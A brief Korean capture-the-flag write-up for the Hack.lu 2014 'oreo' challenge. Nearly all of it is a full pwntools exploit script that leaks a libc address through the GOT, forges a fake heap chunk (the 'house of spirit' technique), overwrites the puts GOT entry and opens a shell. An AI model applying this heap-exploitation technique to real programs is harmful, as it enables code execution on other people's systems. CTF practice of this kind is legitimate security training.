[Hack.lu_2014] oreo

간단한 house of spirit 문제!

바이너리를 꼼꼼히 분석하면 취약점이 바로 보인다!

 

 

from pwn import *
 
s = process("./oreo")
elf = ELF("./oreo")
libc = ELF("./libc.so.6")
 
s.recvuntil("Exit!")
 
def add(name,discription):
    s.sendline("1")
    s.sendline(name)
    s.sendline(discription)
 
 
def show():
    s.sendline("2")
 
 
def order():
    s.sendline("3")
 
def leave(submit):
    s.sendline("4")
    s.sendline(submit)
 
 
def show_stats():
    s.sendline("5")
    
 
def quit():
    s.sendline("6")
 
 
gdb.attach(s)
 
 
add("\x00"*27+p32(elf.got['puts']),"1"*8)
show()
 
s.recvuntil("Name:")
s.recvuntil("Name:")
s.recvuntil("Description: ")
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0x5fbc5
 
leave("\x00"*36+p32(0x41))
 
for i in range(0x40-1):
    add("A"*27+p32(0x0804A2A0+8),"2"*8)
 
order()
 
add("A",p32(elf.got['puts']))
 
leave(p32(one_shot))
 
 
show_stats()
 
s.interactive()